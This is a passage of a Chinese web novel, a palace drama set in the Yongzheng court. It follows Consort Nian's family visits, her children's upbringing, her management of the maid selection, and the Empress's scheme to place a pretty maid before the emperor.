耿氏这人知情知趣,又不动歪心思,她与耿氏虽不算是什么交心的朋友,但多年相处下来,也是个很好的聊天伙伴。
耿氏道:“我听咸福宫的管事嬷嬷说,臣妾住的宫殿还是娘娘让人修的呢,真是辛苦娘娘了。”
年芷瑶笑:“我不过是跑跑腿罢了,哪值得你道谢。”
看贵妃还与从前一样,耿氏也松了一口气,也更加热络了一些。
没过几日,四爷下旨封了弘晳为多罗郡王,又让人接了废太子的几位阿哥进宫读书,即是恩宠,也是一种监视。
年芷瑶:“爷怎么想起要封弘晳阿哥。”
四爷晃神:“这是先帝的意思。”
她叹道:“先帝爷真是一片爱子之心。”
四爷点头:“是啊。”
即便康熙朝后期再是风云诡谲,如今的四爷回忆起来,也都是皇阿玛待他们的好了。
第64章 第64章亲哥
承乾宫,年芷瑶从早上起便等在宫里等着,着实有些望眼欲穿,不为别的,只是今天是额娘进宫来看她的日子。
白芨见了,笑着给她递了杯茶:“娘娘别急,奴婢已经交代下去了,等夫人一来,就让人带过来,不会耽误的。”
年芷瑶点了点头,前些日子四爷一说可以让额娘进宫来看她,她迫不及待地让额娘递牌子进宫了。
说起来,她也许久未见额娘了。
先帝去前两年,京中事多,实在不是个走亲访友的好时机,更何况她还嫁给了四爷。
如今四爷已经登基,朝堂也差不多安稳了下来,额娘再来看她也就没什么避讳的了。
坐在一旁的七阿哥第一次见到额娘这般模样,他晃着小腿道:“姐姐,一会儿是谁要来呀。”
塔娜将他的小腿摆正,“是额娘的额娘,就是咱们的外祖母。”
知道外祖母要来,四公主也特意换了一身衣裳,还带上了外祖母送的璎珞,额娘重视外祖母,她也愿意与外祖母亲近。
年芷瑶摸了摸七阿哥的脑袋,说来额娘还没见过弘晏呢,这孩子生得晚,额娘只能在每年生辰的时候派人送了东西过来。
她道:“弘晏的长命锁,就是外祖母送的哦。”
七阿哥不由得摸了摸自己脖子上挂着的长命锁。
年夫人一路跟着小太监进了承乾宫,还没进门,便看见了女儿的身影。
年芷瑶收到消息便过来迎她:“额娘。”
听到女儿的声音,年夫人笑道:“这么大的人了,怎么还这么不稳重。”
她看向一旁的四公主,“也不怕公主看了笑话。”
前些日子,皇上便以四公主是贵妃做出为由,封了四公主为固伦和嘉公主,要知道公主一般是出嫁时才会获封,固伦公主更是嫡出公主才有的品级,四公主如今被封,足以看出皇上对四公主的疼爱。
见了外祖母,塔娜便带着七阿哥上前行礼道:“外祖母安。”
年夫人慈爱地拍了拍她的手:“好孩子。”
她看向一旁的弘晏:“这就是七阿哥吧。”
七阿哥乖乖地道:“外祖母。”
这孩子在自家人面前调皮捣蛋,在外头却乖极了,年芷瑶看着他一口一个外祖母,直接把她额娘迷得不行,抱着他不撒手了。
她眼尾抽了抽,开口道:“弘昭现下还在上书房,我已经派人传了话让他中午回来用膳。”
年夫人:“何必再让阿哥跑一趟。”
年芷瑶不赞同:“额娘,您好不容易来一趟,他跑一趟也是应该的。”
年夫人笑了笑,没再驳女儿的好意。
她回忆起方才进门时看到的宫殿布局,承乾宫是个颇为周正的宫殿,先是一座琉璃门,宫里分有前后两殿,各面阔五间,左右又有东西配殿各三间。
门外刷着新漆,院子又种海棠、玉兰等不少花草,可见内务府并没有怠慢她这个贵妃。
年芷瑶亲手为额娘倒了杯茶,“额娘怎么光看我。”
年夫人叹道:“额娘想多看看你。”
瑶儿是她和老爷的老来女,大儿子都快成人,瑶儿才刚刚出生,女儿生的玉雪可爱,从小就受到她和老爷的骄纵,可即便如此,瑶儿也没被养成跋扈刁蛮的性子,反倒是一等一的体贴。
有时候她在想,若是女儿的性子坏一些,老爷是不是就不会放心地将女儿送进四爷府上了。
可凡事都没有万一,年夫人叹了一口气。
年芷瑶撒娇道:“额娘怎么叹气,见到我不开心吗。”
“额娘开心。”她摸了摸瑶儿的脸,笑道:“你如今保养得倒好,这皮肤嫩得像能掐出水来,倒还像个未出嫁的姑娘,若是让外头人见了,不定有所羡慕呢。”
年芷瑶握着额娘的手,“可额娘却老了许多。”她不免有些心酸,额娘一年年地老去,可她却不能承欢膝下,是她不孝。
年夫人笑道:“如今你都这么大了,额娘再不老不就成老怪物了。”
她知道女儿心里不好受,开口劝道:“你只管过好自己的日子便是,额娘又不是指着你一个,两个哥哥都这么大了,难道是吃干饭的。”
年芷瑶被噎住了,额娘年纪一大,讲话就越不客气了。
年夫人笑了笑:“你在深宫,不比出去打仗辛苦,不必多想那些,咱们全家从汉军旗抬到了镶黄旗,不都是因着你的缘故。”
她拍了拍女儿的手:“要我说,我家瑶儿那么聪慧,若是男人身,便是领兵打仗也不一定比你二哥差。”
看着额娘心疼的目光,年芷瑶恨不得还像小时候一样趴在额娘的怀里撒娇。
只是端坐在一旁的七阿哥眼睛亮的着实有些吓人,让她不免有些尴尬。
年芷瑶起身咳了咳,给白芨一个眼神,让她将七阿哥抱了下去,在自己孩子面前对额娘撒娇,还是让人有些不自在。
年夫人笑道:“我今日进宫,还没去给皇后请安呢。”
“无妨。”年芷瑶:“我和皇后早就只剩表面平和了,也不差这一件两件的。”
“要是让额娘去给她行礼,我才要不愿呢。”
年夫人看了看女儿,看她的确是不在乎,不论是知道皇后拿她没办法,还是确信万岁会站在她这一边,都代表她在宫里未受什么委屈,她也能放下不少心。
用过午膳,年夫人便不肯再留了,看女儿不情不愿的样子。
她笑道:“额娘看着你好好的也就放心了,如今万岁继位,额娘进宫也就方便了,日后还长着呢。”
年芷瑶点了点头,道理是这个道理,可她就是舍不得额娘。
看她不撒手,年夫人无奈:“孩子都生了三个了,怎么还爱哭起来了。”
年芷瑶缓了缓道:“那等下个月,额娘可要再递牌子进宫哦。”
年夫人点头道:“好。”
养心殿,在一旁候着的苏培盛看了看时辰,小心地上前提醒道:“皇上,承乾宫那边来人了。”
四爷从奏案上抬起头,看了眼门外提着食盒的小太监,“让他进来吧。”
苏培盛:“是。”
他笑了笑,前些日子瑶儿让太医为他诊脉,太医院院判说他有些脾虚,瑶儿接着就瞪了他一眼,然后每日让人送补汤过来,还嘱咐让苏培盛看着时辰提醒他。
想到苏培盛当时苦着一张脸,四爷就想笑,他虽不在意太医说的话,但这到底是瑶儿的一番心意,也就不曾拒绝。
他搁下笔,才发现距离午膳已经过了一个时辰了,是该歇歇了。
他对着恭坐下面的大臣道:“你们也都歇歇,用用点心吧。”
大臣们也松了一口气,“是。”
他们早就累了,只是万岁都如此辛劳,他们怎么能说自己想要休息呢,好不容易能停下来歇会儿,大臣们也都起了身去了外间,不管是用点心也好,喝盏茶也罢,好歹是能活动活动了。
苏培盛将食盒盛了上来,四爷看了一眼,今日的是薏米鲫鱼汤,鱼汤熬得雪白,鱼刺也都被纱布滤了出去。
鱼肉都有些化了,一口下肚,只觉得鲜香无比,倒真让四爷察觉出饿意,他道:“可有点心。”
“有呢。”
苏培盛又将几样点心一一摆了出来,这也是承乾宫让人送过来的,咸甜口的都有,一共四样,四爷挨个尝了一口,又喝了碗鲫鱼汤,觉得舒坦多了,本来还有些疲惫的身体也都恢复过来了。
张廷玉看了眼四爷,方才苏公公送点心之前,四爷可没有休息的打算。
他记得食盒是从后宫的方向送过来的,想来是哪位娘娘送来的吧,也不知道是哪位娘娘如此得万岁看重,能让万岁改了主意。
张廷玉低头便想到了一个人,年贵妃,想到万岁刚登基时便迫不及待地将这位贵妃接进了宫,看来坊间传言也并非不可信啊,万岁对贵妃当真是爱重。
四爷:“今日可是年夫人进宫的日子。”
苏培盛:“正是。”
四爷点了点头,“宫中事多,年夫人进宫,想来瑶儿也能高兴几分。”
苏培盛听了不禁咋舌,万岁对贵妃如此宠爱,六阿哥年岁小些又如何。
四阿哥再是聪慧,也架不住人家有位得宠的额娘啊。
晚间,年芷瑶和四爷用过晚膳,便带着三个孩子在
书房练字,要说她觉得穿越过来有什么好处,就是她有大把的时间专注于这些不事生产的东西。
她从前为了生计奔波已经足够疲惫了,弹琴绣花,都是她可望而不可及的。
只是七阿哥才刚学认字,她便随意给了他一支毛笔,让他在纸上写写画画,主要是让他不给哥哥姐姐捣乱就行。
如今宫里的上书房不仅有四爷亲生的阿哥,四爷还将几个兄弟的孩子都叫到了上书房读书,如同先帝在时一般。
热闹是热闹了,就是人有些太多了。
所以她不准备送七阿哥去上书房开蒙,而是让塔娜和弘昭为七阿哥开蒙,也算是增进他们感情的一种方式吧。
四爷听到知道后,直说这个主意好,还连夜做了七阿哥的教案给两个孩子。
还亲手为七阿哥写了字帖,写完后便叹了口气,“朕太忙了,不然还可以亲自为七阿哥开蒙。”
这话倒是真的,四格格刚出生时,四爷还有空带着她去前院读书,教她骑马,六阿哥读书时,四爷就没什么空了,如今到了七阿哥,四爷陪他的时间更是少得可怜。
年芷瑶刚想着七阿哥真是个可怜的娃,就看见他悄悄地走到了弘昭身后,然后戳了戳弘昭的屁股(只能够到这),见哥哥不理他,七阿哥便想偷偷地往弘昭的墨砚里加水。
年芷瑶皱了皱眉,严重怀疑这孩子就是来讨债的。
她想开口,却被四爷拦住了,他做口形道:“等等。”
只见六阿哥在弘晏往墨砚里加水的时候,伸手捏住了他的小脸。
七阿哥口齿不清地说着:“锅锅,我错了。”
六阿哥笑着松了手,揉了揉他的小脸,“别捣乱,玩你的去。”
四爷笑看着兄弟两个的互动,说道:“十四小时候也这般干过。”
只是他当时只觉得十四讨人嫌,可如今再看七阿哥,四爷又觉得他只是想和自己的哥哥玩。
年芷瑶抬头看他,她好像很久没听到十四爷的消息了,这也不怪她,十四虽说是四爷的同胞兄弟,可在外头的名头绝对没有十三爷响。
四爷登基后就将十三爷封了怡亲王,十分重用不说,四爷还特意在宫里给他留了个住处,为了让十三爷不必再赶夜路回府。
这事在别人眼里是明晃晃的恩宠,可在年芷瑶看来是完全的剥削,毕竟十三爷在宫里住下,不光前一天晚上回不了家,就是第二天也不一定能走。
不说别的,就说早上醒来,十三爷定是要先去给四爷请安,一请安,四爷就会留十三用膳,用完膳,兄弟两个还要做别的事情消磨时间,若是商议得久了,就又要住下。
简直是恶性循环,最夸张的一回,四爷直接将十三爷在宫里留了五天,还是她觉得不妥,派人去将四爷叫了过来
四爷还说她连十三的醋都吃,简直是不识好人心。
十四府上
十四爷看着门房新送来的荔枝,有些不解,“哪来的新鲜荔枝。”现下不就是荔枝下来的季节吧。
十四福晋笑道:“是皇上赏的。”
十四爷:“皇上赏的,皇上吃错药了。”
十四福晋闻言不免瞪了他一眼,“也就是坐在上头的是你亲哥,若换了别人,就凭你这个嘴,你这脑袋也保不住。”
“哼。”十四爷从鼻孔里出了气,他亲哥,他亲哥对他还没有对十三的十分之一呢,也不知道是谁亲哥。
第65章 第65章情分
慈宁宫
太后正和福嬷嬷说着话,一旁的宫女进来,在福嬷嬷身边耳语道:“嬷嬷,皇后娘娘过来了。”
福嬷嬷看向太后。
太后喝了口茶:“可是皇后又来了。”
福嬷嬷无奈:“可不是嘛。”
自从皇后进宫后,便日日来慈宁宫请安,太后本就不喜被人打扰,尤其是皇后几次三番地将话引到贵妃身上,明眼人一看便知是何心思,太后也就越发不耐。
太后摆了摆手:“就是哀家乏了,让她回吧。”
她一个太后,怎的管得了自己的皇帝儿子宠谁,皇后未免也太看得起她了,就算能管,她又何必为她出手呢。
福嬷嬷:“是。”
皇后刚一下轿,福嬷嬷便迎了出来,“皇后娘娘万安。”
皇后扶住她:“嬷嬷不必多礼。”
想到福嬷嬷是太后身边最为信重的嬷嬷,皇后不免又客气了三分。
福嬷嬷笑道:“娘娘来得不巧,太后刚刚用了太医开的安神汤,已经歇下了,不如您改日再来看望太后。”
皇后:“是儿臣打扰皇额娘了,皇额娘身子可好。”
福嬷嬷:“不妨事,太后娘娘只是有些乏累。”
皇后示意牡丹将东西拿过来:“这是臣妾新抄的药师经,也好供在佛前,祈求太后身体康安。”
福嬷嬷叹道:“娘娘对太后的孝心真是日月可鉴。”
见皇后走远,福嬷嬷这才进屋回话。
太后:“又是新抄的佛经。”
福嬷嬷:“娘娘果真料事如神,奴婢看皇后娘娘倒是个诚信礼佛的。”
太后点点她,笑她装糊涂,“若真是个诚心的也就罢了,怕的是借着佛祖的口,谋的却是害人的心。”
福嬷嬷笑道:“还是主子看得明白。”
太后笑她:“你何尝不是看得明白,不过是不敢说罢了,贵妃跟着皇上也有十年了吧。”
福嬷嬷扶着太后:“娘娘记得清楚。”
太后:“男女之间,前两年或许凭的是容色倾城,往后的日子看的就是真心了。”
老四能十年如一日地宠爱贵妃,看重的又何止是贵妃的那张脸,皇后连这个都看不明白,又如何能夺贵妃的宠。
皇后自进宫起就越发坐不住了,说到底皇后无子,旁的有宠有子的嫔位再是得宠,日后也少不了她母后皇太后的位置,又何必如此心急呢。
福嬷嬷笑了笑,“主子和贵妃都是明白人,可若是个不明白的,就算说得再多,也听不进去,奴婢老家有句老话,说人犯了犟,九头牛都拉不回来。”
她看皇后现在就认了死理,非要将贵妃斗下去,可也不想想,就算将贵妃斗下了台,对皇后又有什么好处。
太后笑道:“这倒是话糙理不糙。”
上书房
弘历每日进上书房都是来得最早的那个,今日也同样,他温过书,又将笔墨摆好,才看见有人进来。
来的人是弘时,他起身行礼道:“三哥。”今日三哥来得越发早了,弘历垂眸想到。
弘时看他,漫不经心地说着:“是四弟啊。”
弘时最近可谓是春风得意,额娘被放了出来不说,自己还被诸位大臣提名为太子,虽说皇阿玛没松口,只是皇阿玛既没有嫡子,他是皇阿玛的长子,不立他为太子还能立谁呢。
弘历看出弘时的得意,眼中闪过一丝不屑,他一直都不怎么看得上自己这位三哥,只觉得他白占了长子的名头,却胸无沟壑。
听着门外有动静传来,弘历忙收敛了神色。
弘昭同五哥一同进了上书房,看到站在那的两人,拱手道:“三哥,四哥。”
弘历笑得亲近:“六弟。”
他看了一眼弘昼,“你们两人关系倒好。”
他记得弘昼幼时便和四公主玩得好,如今大了,又攀上了弘昭,倒是个运气好的。
弘昭对他笑笑,并未回话,对于弘昼这个和自家姐姐关系好,又十分厚道的哥哥,他还是很喜欢的。
至于其他两位阿哥,如同额娘和四姐姐所说,维系住表面和平就行了。
弘时捏着鼻子冲他打招呼看他一眼:“六弟。”
额娘和琥珀姑姑对他叮嘱过,现下还是不是和六弟交恶的时候。
一旁的宗室阿哥看他们几个皇阿哥打过招呼,这才对视一眼,各自回了座位。
宫中的日子一旦习惯了,就会发现和府里没什么不同,每日要做的事也都差不多。
可要说不同也有,比如她现下就比在府里的时候忙了许多,看着这个月的账本册子,年芷瑶叹了口气,四爷不放心皇后管着六宫,一个张嬷嬷还不够,把她也抬了出来。
要说理由也是现成的,太医道皇后自潜邸时就身子不好,不能过度劳累,故而亲自向万岁相请,让贵妃为她分忧。
这话是四爷当着她的面传下去的,年芷瑶心道,果然睁眼说瞎话是政治家的必备修养啊。
她也没推辞,宫里与府里到底不同,手握
宫权,做事自然会更便宜些,更何况还能为皇后添点堵,何乐而不为呢。
四爷今日不来用午膳,弘昭午后还有骑射课,她就让他留在阿哥所午睡,省得来回折腾了,如今弘昭虽还没搬去阿哥所,但住处已经都打扫好了。
她还特意过去瞧了瞧,院子还算宽敞,景色也不错。
阿哥所的管事太监殷勤道:“贵妃娘娘放心,六阿哥住的院子保准是整个阿哥所里位置最好的,通透明亮,住起来定会舒心的。”
万岁一共就四个亲生子在阿哥所,明眼人一看就知六阿哥最为要紧,不光得万岁看重,生母还是位得宠的贵妃,自然都争相讨好。
是以年芷瑶从未想过弘昭会在吃住上受什么委屈。
年芷瑶点头:“辛苦你了。”
白芨递了荷包过去。
“不敢不敢。”太监连忙推辞,“都是奴才应该做的。”
谁不知道如今贵妃娘娘如日中天,连皇后娘娘都得避让几分,如今好不容易有个和贵妃套近乎的机会,收银子不就都白费了吗。
年芷瑶笑笑,也不强求。
她又让人将弘昭常用的东西都送了一些过来,万一哪日不方便回宫,这里也能住人,她是不放心弘昭,但也不能让弘昭一直在她的怀里长大。
小孩子,总要让他出门去看看世界,才会长大。
她带着人回到承乾宫,塔娜便迎了出来,“额娘,可累了,我让小厨房做了点心,一会儿就能好。”
看着出落得亭亭玉立的女儿,年芷瑶心下骄傲极了,她夸道:“额娘的塔娜真能干。”
自从进了宫,她就开始让塔娜学着管事了,先用承乾宫来练手,如今也算是渐渐上手了。
她是公主,有些事可以不用操心,但必须得知道,不然底下人沆瀣一气,说不得就能瞒住她这个主子,她可不想将女儿养成温室里的花,即便是公主,若是自己立不住,日后也不见得能过得好。
不见先帝爷往蒙古送去了多少公主,如今还在世的又有几个,那些公主在京中都活得好好的,换了地方却迅速的凋零了,看得让人心惊胆战。
就连唯一一位嫁在京中的五公主,嫁得还是先帝的外家佟家,也都没撑几年。
对自己生的四公主,年芷瑶恨不得让她在宫里什么经历一遍,往后的日子都波澜不惊,才是好的呢。
她道:“今日的午膳,你想怎么准备。”
塔娜道:“如今天气渐热,我想着吃点清爽些的比较好,额娘觉得呢。”
年芷瑶:“嗯,就这么办吧。”
母女两个用完膳,又坐着聊了会儿天。
塔娜看见额娘妆台上多了一对白玉镯子,便拿起看了看,开口赞道:“额娘,这个镯子可真好看。”
她对光看了看,只见镯子通体透润,在阳光底下宛如一汪流动的月光,好看极了,“只是我从前怎么没见过。”
年芷瑶笑道:“这是太后娘娘赏的。”
前些日子四爷往十四爷府上送了一筐子荔枝,虽不是什么贵重东西,但也是亲信之人才有的。
在外界看来,便是四爷和十四爷破冰的凭证。
也是,一母所出的阿哥,年岁又相差这么大,即便是关系不和又能差到哪去,如今四爷既已登基,多让一让弟弟也是有的。
塔娜惊讶道:“皇祖母赏的,我怎么不知。”
太后一向疼她,尤其是在进宫之后,她时常和额娘去慈宁宫请安,怎么皇祖母赏了额娘一对玉镯子她却毫不知情。
年芷瑶笑笑,用来贿赂的东西,自然是偷偷给的。
荔枝一事,太后想来以为是她为十四爷说了好话,便让人悄悄地将送了镯子过来。
说来她还什么都没做呢,毕竟说好话这东西,也不是你说旁人就会听的,弄不好还会弄巧成拙,尤其听的人是皇上。
她本就是打算从六阿哥和七阿哥入手,勾起四爷的兄弟情,可还没等她出手,四爷就送了荔枝,也算件好事,毕竟苛责兄弟,说出去总不是个好名声。
底下的人总是想着上头这位是个比先帝还宽和的,可从四爷登基之后来看,就知道这位可不比先帝能容人。
可如今四爷即对十四爷留了情,倒是他们来说倒是个好现象。
太后说这镯子原是先帝送她的,着实是个好东西,只是东西她收下也惭愧,年芷瑶笑道:“给你留着,日后做添妆。”
塔娜不满额娘的打趣,抱怨道:“额娘。”
晚间,四爷回来得早,两人早早地洗漱完也没睡下,而是并排躺在宽大的贵妃榻上,四爷摩挲着她的手指,开口道:“你倒是放心让塔娜管家。”
年芷瑶俯在他身上,闻着他身上让人安心的气味,笑道:“做父母的得让孩子放手去做,小孩子才能学会长大啊,况且如今不过是一个承乾宫,就算管得不好,也没什么大不了的。”
四爷眼神温柔,笑道:“在教养孩子方面,朕确实不如瑶儿。”
年芷瑶抱怨:“万岁就会笑话我。”
四爷搂紧了她,他倒也不是笑话她,瑶儿将三个孩子都养得极好,即使是一母所出,也不见得就会如此亲近,弘昭同弘晏,一个爱护弟弟,一个亲近哥哥,都是瑶儿的功劳。
他笑笑,“在宫里可待得无聊了。”
她知道瑶儿爱热闹,只是如今还在先帝孝期,连园子里也不好去,不然她还能带着去骑马,游湖。
他轻轻拍了拍瑶儿,想着有什么事能给她解闷。
年芷瑶笑道,“有弘晏在,我可无聊不了。”
今儿个晨起弘晏偷偷捉了只虫子,放进了弘昭的书里夹着,等晚上弘昭回来的时候才发现,弘昭倒是没生气,可她做主罚了弘晏两顿的点心。
四爷失笑,“弘晏是调皮了些,但却有赤子之心。”
年芷瑶看他,心道这人对弘晏莫不是带了阿玛的滤镜,若不是弘晏是她生的,平心而论可以说一句猫嫌狗憎。
她道:“他调皮不要紧,总归是我生的,只是总去招惹弘昭,弘昭若是生气,伤了兄弟情分可怎么好。”
弘昭近来越发有长子的觉悟了,不仅对弘晏宽让,连带着姐姐都纳入了他的保护圈。
可这世上从来没有我比你小,你就要让着我的道理,一次两次还好,时间久了总让人心生不满,她可不想等两个孩子有了嫌隙之后再行补救。
四爷揽住她:“他们是亲兄弟,不会伤了情分的,弘晏也是个好孩子。”
年芷瑶越发不信,十四爷可到现在还是个贝子呢,您有本事将这话对着十四爷说一句。
可四爷却道:“朕准备给弘昭挑几个哈哈珠子送进宫来,朕记得你二哥的小儿子只比弘昭大两岁。”
提到自家哥哥的孩子,年芷瑶还是很清楚的,毕竟每年她都会备下礼物给送过去,她道:“那孩子叫年寿,今年刚八岁。”
二哥如今虽不在京中赴任,可除了跟在二哥身边的年富,其余的孩子都在京城,想来也是对武将的一种牵制手段。
二哥这几年性子收敛了许多,也没听说什么因四爷登基就在任上狂妄得不行的消息,她也放心不少,想来这些年打的预防针还是有用的。
如今四爷想挑她娘家的人给弘昭做伴读,她自然没什么意见,能让弘昭与年家更亲近一些,也是件好事。
额娘也说过,年寿那孩子是不错,机灵懂事,应该不会出什么差错。
“只是年家的适龄孩子就这一个。”
她两个哥哥成婚都早,这个年寿还是二哥后生的,所以才年岁不大。
四爷:“无妨,从你们隔房再选上一
个,剩下两个,朕准备从八旗底下的人挑。”
四爷下了旨,一行四个孩子很快就进了宫,一下子见到这么多适龄的小伙伴,弘昭高兴极了。
他看向四爷:“他们日后都是跟着儿子的吗。”
四爷摸了摸他的头:“这些都是你的人,想怎么用都看你。”
弘昭兴奋地点了点头。
今日是哈哈珠子进宫的第一日,年芷瑶嘱咐道:“记得中午给弘昭那赐膳。”
宫中的人大都拜高踩低,他们四个生面孔进来,不定会不会被底下人难为呢,有些事还是做在前面比较好。
白芨:“是。”
弘昭的哈哈珠子,两个是年家的,一个是鄂尔泰之子鄂容安,一个是张廷玉的儿子张若霭,可谓是横跨满汉,从勋爵到名臣之后都有了。
只是几人都隐隐以年寿为首,毕竟他与六阿哥可是真真正正的表兄弟,承乾宫那位贵妃,是他的亲姑母。
连六阿哥都对这位表兄更亲近一些,正所谓疏不间亲,他们如今和六阿哥还不相熟,自然得后退一步。
第66章 第66章小选
近来宫中还有件要紧事要办,那便是小选的日子就要到了。
虽说四爷免了今年的大选,但每年的小选要选的,毕竟不能因着新皇登基,宫里的主子就没人伺候了吧。
年芷瑶正在看着白芨送来的宫人名册,小选的重要性不比大选,但验明参选人的身份却至关重要。
大清规定内务府包衣三旗家中,凡有适龄女子的,都要进宫参加小选,要知道大清入关多年,包衣旗下身居高位的也有不少。
但凡心疼女儿的人家,谁愿意让在家中如珠如宝的女儿,进宫来伺候人呢,这还不比大秀,还能说是送进来做娘娘的。
小选选进来可就是做宫女的,内务府所有旗下包衣,如今也不过出了这一位太后娘娘罢了。
当然做奴才也不是没有出路,就像曹家为何如此得先帝器重,不就是他家老祖宗是先帝的奶母,曹寅又做了先帝的伴读吗。
如今他家一个包衣女儿,都因先帝赐婚做了郡王妃,这是何等荣宠。
不过这份恩宠到了雍正朝可就行不通了,听说四爷已经着手查办曹家了。
故而也有愿意的将女儿送进宫的,甚至因为今年没有大选,各个府里愿意送女儿的还多了些。
早些年康熙爷除三藩的时候,宫里的选秀也都停了,如今那几个娘娘不都是当时内务府小选送到先帝身边的嘛。
不过,四爷的意思是,趁着这次的小选多选些人,然后借着为先帝祈福的名头,将宫里的老人多放出去些。
太妃们一个个都在宫里住了几十年,手里一个个都捏着不少人,耳边的消息不定比他们都要灵通,前些日子,四爷在养心殿发了脾气,没两日她们便都知道了。
虽说不知四爷为何事动怒,但这已经让四爷足够恼火了,明明是在自己家,却有种在外做客的感觉,好不容易有了个名正言顺的机会,四爷恨不得将这些人爪牙都给砍了才好。
她将白芨叫过来细细嘱咐着,既然四爷吩咐了下来,那这事就不能在她手里出差错。
平日里不管事也就罢了,若是管了事还干不好,那日后也没人敢将别的事交到她手里了。
她在现代时好歹也是管过项目的,可不想穿越后,只能做个深宫里的傻白甜。
她先让人统计出各个宫里自愿出宫的人选,然后根据人数进行删减,这事麻烦却不复杂,她让人盯得紧一些,事情便有条不紊地进行着。
这日,白芨过来说皇后宫里想再多加几个宫女,年芷瑶挑眉,“皇后要加宫女。”
皇后的身边的宫女都是进宫时内务府早早挑好送过去的,除了从潜邸带来的,进宫后又加了四名二等宫女,四名粗使宫女。
白芨:“是,皇后娘娘说宫里有到了年岁要出宫成婚的,故而想将几位适龄的宫女放出去。”
年芷瑶挑了挑眉,“既然是皇后要,那你便挑上几个好的给送过去。”
白芨会意:“是。”
赵嬷嬷将新选进来四个小宫女挑出来,对着牡丹道:“这是娘娘挑的,让你好好调教着。”
牡丹点头:“是。”
她打量了几人一眼,只见四个宫女穿着豆绿色的宫女服饰,各个如清水芙蓉一般,顿时明白了皇后娘娘的打算。
晚间,四爷来了承乾宫,年芷瑶给四爷换着衣服,和他说着小选的事。
出宫的宫人名单已经定好了,只是现在还不能都放出宫去,人员要一一核实,以防有人混水摸鱼。
新人也已经选进来了,等这边定下,各个宫里就能将宫女补进去,一点也不耽误。
四爷笑道:“瑶儿做事,朕自然放心。”
年芷瑶看他一眼,和他随口说了句,皇后要宫女的事,“我想着不是什么大事,就应下了。”
四爷微微点头。
两人话起家常,四爷拿出两幅画像,对她道:“朕看好两个小子,一个是富察家的,一个是钮祜禄家的,你看看哪个好。”
年芷瑶疑惑,这两个人家和她有什么关系。
四爷道:“塔娜如今大了,也该相看起来了。”
年芷瑶瞪大眼睛,她的爷,塔娜如今才十岁,四爷竟要从现在就给她看人家了吗。
看见瑶儿这般模样,四爷笑道:“现在定下来,朕也好叫人去提点提点他们。”
哪有临阵磨刀的道理,八旗下的青年才俊就这么多,不好好提前定下,早被人选走了。
年芷瑶明白了,四爷提点的意思就是,告诉这家人我看好你们家的孩子,准备将公主下嫁给你们家,好好看管着,别闹出什么不好的事来。
她顿时没意见了,这不就是童养夫吗,她懂。
事关女儿的终身大事,她不由得认真了起来,四爷挑女婿的眼光还是不错的,两人都家世清白,待人和善,知道上进,周围的评价也都不错,年岁和塔娜也相差不大。
只是从画像看也看不出什么,看着都是唇红齿白的小少年,从容貌上挑不出什么,年芷瑶决定等回头再见这两家的夫人时再好好聊聊。
儿子肖母,若是额娘不好,这家也就不用看了。
她可不像男人那样天真,以为只要女婿好就好,若是婆婆不明事理,就算是公主,那也少不了要受些委屈。
她收起画像:“万岁先别定,等我回头再看看。”
四爷看她如此认真,不免笑道:“好。”
年芷瑶:“塔娜可是万岁您的公主,难道不应该好好挑挑吗。”
四爷抱住她:“瑶儿说得是。”他叹了口气,“一想女儿要嫁到别人家,朕心里就不是滋味。”
年芷瑶看了眼四爷,暗戳戳地提议,“那不如将塔娜留在身边。”
四爷:“女孩子哪有不嫁人的道理。”
年芷瑶暗暗撇嘴,老古董。
忙了月余之后,小选的事终于告一段落了,她的承乾宫也进了几个小宫女。
刚进宫时因着几个孩子的缘故,她的宫里并未添新人,如今才用机会挑上几个家室清白的,先好好调教着,日后才接采芙采蕖的班。
这日,年芷瑶在慈宁宫给太后请安,前些日子皇后来得太勤,她便来得少了,问就是不想和皇后打照面。
后来,不知道是不是皇后终于看懂了太后的不耐,这才来得少了些。
太后看她来,笑道:“你来得倒是巧,哀家今儿个刚得了些好茶,你便来了,是不是闻着味了。”
年芷瑶:“皇额娘这么说可是冤枉儿臣了,儿臣是知道皇额娘爱吃凤梨酥,特意让小厨房做了过来。”
她让白芍将食盒提上来,“刚做好就眼巴巴地给皇额娘这送来了,谁知还得了埋怨,早知我就不来了。”
太后笑道:“如此说来,倒是哀家错怪你了。”
年芷瑶叹了口气:“没关系的皇额娘,儿臣不怪您,谁让您是儿臣的皇
额娘呢。”
太后被她逗得不行,正要开口,便有小宫女来报,说皇后娘娘来了。
太后顿了顿,“让她进来吧。”
“是。”
年芷瑶也收敛神色,低头喝了口茶。
皇后进来,对着太后行礼道:“儿臣给皇额娘请安。”
她看向一旁的年芷瑶:“没想到妹妹也在。”
年芷瑶对她微微一福:“姐姐来了。”
她一眼便瞧见了皇后身边跟着的貌美宫女,挑眉笑了笑,“姐姐景仁宫真是养人,连身边伺候的宫女都是一副好模样。”
太后也看了过去,神色莫名。
皇后笑:“不过都是些庸脂俗粉,哪比的妹妹的花容月貌。”
年芷瑶笑笑。
回了承乾宫,白芍不免有些着急:“主子,景仁宫那要了那么多貌美宫女,定是为了勾引皇上,咱们不做些什么吗。”
皇后刚才分明就是故意将那些宫人带过来的,谁不知道她安的是什么心。
年芷瑶笑了起来,“先等等看。”
皇后招揽了这么多如花似玉的宫女,总不能是养在身边用来赏心悦目的吧,既然有所求,就会有动作,她倒想看看想怎么把人送到四爷身边。
养心殿,苏培盛看见门外小太监的手势,抬头看了万岁一眼,便悄悄走了出去:“什么事。”
小太监低声道:“苏爷爷,皇后娘娘派人送了东西过来。”
苏培盛:“皇后娘娘。”
小太监点头:“是呢。”
说来也奇怪,贵妃娘娘每日会送东西过来不假,可皇后娘娘可从未派人来过养心殿,他扭头看向一旁的小宫女,难不成
苏培盛将视线移了过去,他看着年轻的宫女,出声问道:“你是皇后宫中的。”
小宫女:“是,奴婢是新进宫的宫女,名叫锦瑟。”
苏培盛:“锦瑟,倒是个好名字。”
眼前的宫女样貌虽比不上贵妃,但胜在年轻水灵,虽然希望不大,但万一万岁爷想换换口味呢。
他撂下一句在这等着,便进去回禀万岁,“皇上,皇后娘娘那派人送了汤羹过来。”
四爷皱眉,皇后派人来做什么。
他本想让苏培盛打发了,只是想起这些天瑶儿脸上莫名的笑意,他顿了顿,“让人进来。”
想来问题是出在了皇后身上。
苏培盛有些惊讶,难道是真要变天了不成。
不过他脚步不停,走到小宫女的面前:“万岁宣你进去,仔细伺候。”
“是,多谢苏公公。”小宫女面色潮红,似是紧张,又像是激动,她也没想到事情会如此顺利,想到牡丹姐姐的嘱咐,她缓步走进了养心殿。
有了这次机会,她也会像贵妃那般得宠吗,她深吸一口气。
